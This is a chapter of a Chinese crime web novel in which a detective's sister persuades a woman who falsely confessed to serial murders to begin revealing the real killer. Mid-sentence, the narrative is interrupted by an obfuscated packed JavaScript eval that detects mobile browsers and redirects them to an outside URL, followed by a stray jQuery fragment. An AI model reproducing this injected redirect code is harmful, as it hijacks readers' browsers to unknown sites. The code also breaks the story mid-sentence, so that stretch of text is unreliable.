“这人真是四季豆油盐不进啊。”
郭廷杰他们就在隔壁房间听着审讯室的动静,还以为现在他们掌握那么多线索,黎阳和顾越两人的配合也很默契,就能让周停开口,没想到她还是死鸭子嘴硬。
是,像周停这样一味认罪或者替人顶罪的人他们没少见,但那些人大多都是混社团的,他们咬着牙顶罪是为了给家里人赚一笔安家费。
对于他们来说,坐几年牢根本算不得什么大事,反正他们都是在底层里混着的,也不需要多么光鲜亮丽的履历。
黎阳和顾越都在审讯室,黎暖便询问在场职位最高的郭廷杰,“郭sir,我能进去问周停几个问题吗?”
郭廷杰眉头紧皱,“这不符合程序,你想问什么问题可以告诉我,我去转告头儿。”
黎暖:“我倒觉得与其让他们再继续这样审问周停做无用功,还不如让我试试呢。”
李鹏远有些不服气,头儿审讯经验那么丰富都拿周停没办法,她一个千金大小姐能有什么办法。
黎暖试着说服他们,“你们仔细观察周停的坐姿,她低着头弯着腰,椅子下面的腿脚弯曲着,整个人看上去是不是像个圆?”
“这又能说明什么?”
郭廷杰还是不太想让她进去,她不是警察不了解他们办案的手续,要是有任何违规的操作,到时候连累到他们就不好了。
“她不相信你们警察,所以在面对大哥的审讯时整个人就是一个紧绷警惕状态,哪怕大哥和顾越晓之以理动之以情,外加揭露监狱意外也没有吓得周停开口,还不如让我试试。”
黎暖看出郭廷杰有些许动摇了,再接再励道。
“不信的话,你可以暂时把他们叫出来一会儿,周停一定会比面对他们放松一点,而我比起你们有着无可替代的优势,因为我既不是警察,看上去也只是个没有威胁力的女孩子,让我出面跟她谈话,更能打开她的心房。”
郭廷杰沉默了,他并不觉得黎暖有本事撬开周停的嘴,但又不可否认她的话有道理。
“不管凶手究竟是不是周停,你们应该还有很多疑惑没有解开。”黎暖耸耸肩道:“当然,我也未必能问到你们想要的信息,让不让我尝试由你决定。”
再一再二不再三,要是这样还不能让郭廷杰松口,那她也不必上赶着了。
而且也正如郭廷杰想的那样,她可能也无法让周停开口说出真相。
她这一退倒是让郭廷杰想开了,这周停自从被他们抓了之后就很“配合”,认罪也快,但其实他们都明白她这种配合其实是最大的抵抗。
她的认罪更是笑话,是,她描述的谋害过程和尸检报告一致,但他们要是想要问细一点,她就不说话了。
让黎暖进去问话可能有意想不到的收获,郭廷杰松口了,“那就麻烦你了。”
郭廷杰先敲门进去在黎阳耳边说了几句话,征得他们的同意把他们两人带出来。
再过了半小时,观察到周停没有那么紧张才让黎暖和方棋进去。
他答应让黎暖进去,但并不代表只让她进去,方棋是进去监视她的,要是她有什么过激言行,方棋会阻止她。
他们两人刚进了审讯室,就引起周停的注目,她放松的肩膀又紧绷起来,踩在地上的双脚又踮了起来。
周停和黎暖、方棋都认识,只是之前不知道他是警察。
但到底方棋身上没有装扮过的黎阳的老警察味,黎暖也不是警察,他们的到来让周停紧张归紧张,但没有像刚才那样如临大敌。
黎暖也没有上来就问案子,她对自己的定位很清楚,她没有大哥审讯人的本事,也没有顾越细心周到的观察能力,她唯一的优势就是从梦境中观察到的景象。
当然她身为女孩子的优势她也利用起来了。
黎暖递给周停一杯温热的奶茶,等她喝了几口才开口道:“我听我大哥说你是连环凶杀案的凶手时我很吃惊,但后来得知你的经历我又不奇怪了,这个世界从未善待过你,你会心里变态报复社会也不足为奇了……”
虽然黎暖这话说的得很难听,但到底没有警方那样质疑她不是凶手,周停又放松了一点。
黎暖垂眸看着她,柔声道:“……被从小打到大不说,就连婚姻也做不了主,当时你和岳旺情投意合,你应该不会乐意听你老豆的话嫁给程霸,可惜你老豆联合周家其他人一起逼你嫁……”
周停眼皮控制不住的跳动。
周家村顾名思义村子里的人除了嫁进来的女人其他人都姓周,是一个宗族,论起关系来更是整个村子七拐八弯的都是亲戚。
这样有好处也有坏处,好处是同姓人比较团结,面对外人不容易被欺负。
坏处也很显然,也是团结,明知道有些事是错的,也可能为了利益团结一致起来。
毕竟只是牺牲个别人,就能换来整个村子的安宁,那就算她敢于反抗,也会被她老豆伙同周家其他人一起押着她嫁人,更甚的还有可能给她下点药生米煮成熟饭……
反正这种下作的事她一个女人防不胜防,想逃也逃不掉。
即使她报警也没有任何用处,因为这种宗族决定的事,哪怕违背法律,违背人性,警察都没办法插手管,法不责众啊。
别说是周停嫁人时的六十年代,就是现在香江有些地方还是宗法大于法律。
可能是黎暖信誓旦旦的站在她这边相信她,周停不再紧闭嘴巴,还能应和她几句,实在是她的这一生有太多的苦闷藏在心里。
黎暖察言观色的本事比不上上一辈子当牛马的时候,但周停这么明显的变化她还是能发现的。
黎暖乘胜追击,她让方棋把资料摊开移到周停的面前,这是她进来之前还让方棋带上了姚佳宁的材料,是方棋他们之前做好的结案报告里的一部分资料。
“这是第四名死者姚佳宁,她们一家人住西贡,她和你一样也有三个子女,刚好都是两个女儿一个儿子,只不过不一样的是她儿子在念中学,两个女儿还在念小学,上次我们去她家调查的时候,她两个女儿还围着家里人问阿妈去哪里了……”
周停头慢慢垂了下去,之前警察来何田村调查知道的时候,她就从田阿公那里听到过很多关于案子的事。
但之前她也受阿婆阿公的观念影响,以为死的人都是死有余辜,她真的没想到这其中居然还有陆威的家嫂。
陆威这个人在她们护工圈子里的名声很差,哪怕周停在仁爱敬老院没有什么朋友,也听到过负责照顾陆威的护工抱怨过他经常趁着她们去收拾房间的机会揩她们的油。
没错,几个护工,自从陆威住进仁爱敬老院就换了好几个护工,当然是护工们自己跟院长反应才换的。
到最后负责打扫他房间的护工是个男壮汉陆威才消停。
而姚佳宁,周停也见过,脾气虽然看上去很暴躁,但只有在面对陆威的时候,其他人包括她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031492|180267||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这样的护工姚佳宁都很有礼貌。
之前从警方嘴里知道有姚佳宁这么个无辜受害人时,周停面上轻描淡写,但内心纠结到现在都没有想通。
随着黎暖细致无比的描述,周停心底更是浮现出姚佳宁的音容笑貌,同时闪现的是很多疑问。
为什么啊?他为什么要杀姚佳宁啊?
他不是说过他杀的都是罪有应得的人吗?
“她是个好妈妈,你也是个好妈妈,你比她幸运多了,最起码你的三个儿女还有母亲在身边,而他们很快就会迎来一位继母……”
周停又不敢说话了,她怕一开口就是对他控制不住的质问。
看来姚佳宁也无法打开缺口,黎暖在描述完姚佳宁三个可怜孩子可能遭遇的悲惨未来之后,又说到了周停的三个子女,感慨道:“也许是我说错了,毕竟如果你一经定罪,变态杀人犯的名号是摘不掉了……”
周停眼角闪闪发光,但她还是没有改变主意的意思,黎暖也没有一味的说着惨,还更平向的说着她们可能的生活,让周停也能偶尔说一句话。
黎暖蓦地问道:“你知道黄阿莹死了吗?”
黄大伯母讲过她没见到过周停这个模样的女人去祭拜,收到的奠仪里也没有周这个姓氏。
“阿莹死了?怎么可能?她还那么年轻,俊仔还那么小……”
周停之前听黎暖提起过黄阿莹,只不过那时候她是以为黄阿莹公爹是她照顾的缘故,没想到黄阿莹居然死了。
“阿莹怎么死的?是出了什么意外吗?还是生病了?”
她会这么猜是因为上次见到阿莹的时候看出她很憔悴,一看就是生活得很辛苦,她也劝过她身体是她自己的,要好好保重自己,可黄阿莹的境况她也清楚,她没办法停下来。
“这不是应该问你吗?你为什么杀黄阿莹?”黎暖故意用一种模棱两可、引人深思的态度质问她,“我大哥他们查了黄阿莹的案子好久都没有抓到凶手,没想到破获连环凶杀案的时候找线索了。”
“什么?我杀的黄阿莹?”周停脸上那刹那的惊讶丝毫不做伪,她心里犹疑着,但她很快就否决了,怎么会是他杀的阿莹?
更何况她之前就听说过警队的黑暗,有一些警察没有破获的案子他们会把凶手的罪名安在其他犯人身上,难道她碰到这样的事了吗?
主要是周停没有想过周斌会骗她。
没错,周斌才是连环凶杀案的凶手,在周斌和周阿婆请求她顶罪的时候她刚开始并不想答应,可没办法,形势比人强。
但这并不是警方把不属于周斌犯的案子算在她头上的理由。
黎暖:“那看来你也想帮黄阿莹找到凶手?”
周停没有说话,但她的眼神暴露了她对警方的不信任。
黎暖保证道:“你放心,如果黄阿莹真的不是你杀的话,我大哥他们绝对不会冤枉你的,当然,这一切都建立在你不是凶手的前提下,大年初一凌晨你在哪里?”
周停:“……我在敬老院,那天是我值班。”
她还是想帮黄阿莹找到凶手的,在她心里黄阿莹就是另一个她。
黎暖:“有谁能证明?”
“……钱兰能证明,但我不确定她会不会为我作证。”
“那除了她呢?难道就没有其她人了吗?”黎暖想多加几重保险。
“没有,我那天巡逻的时候只撞上过钱兰。”
巡逻啊?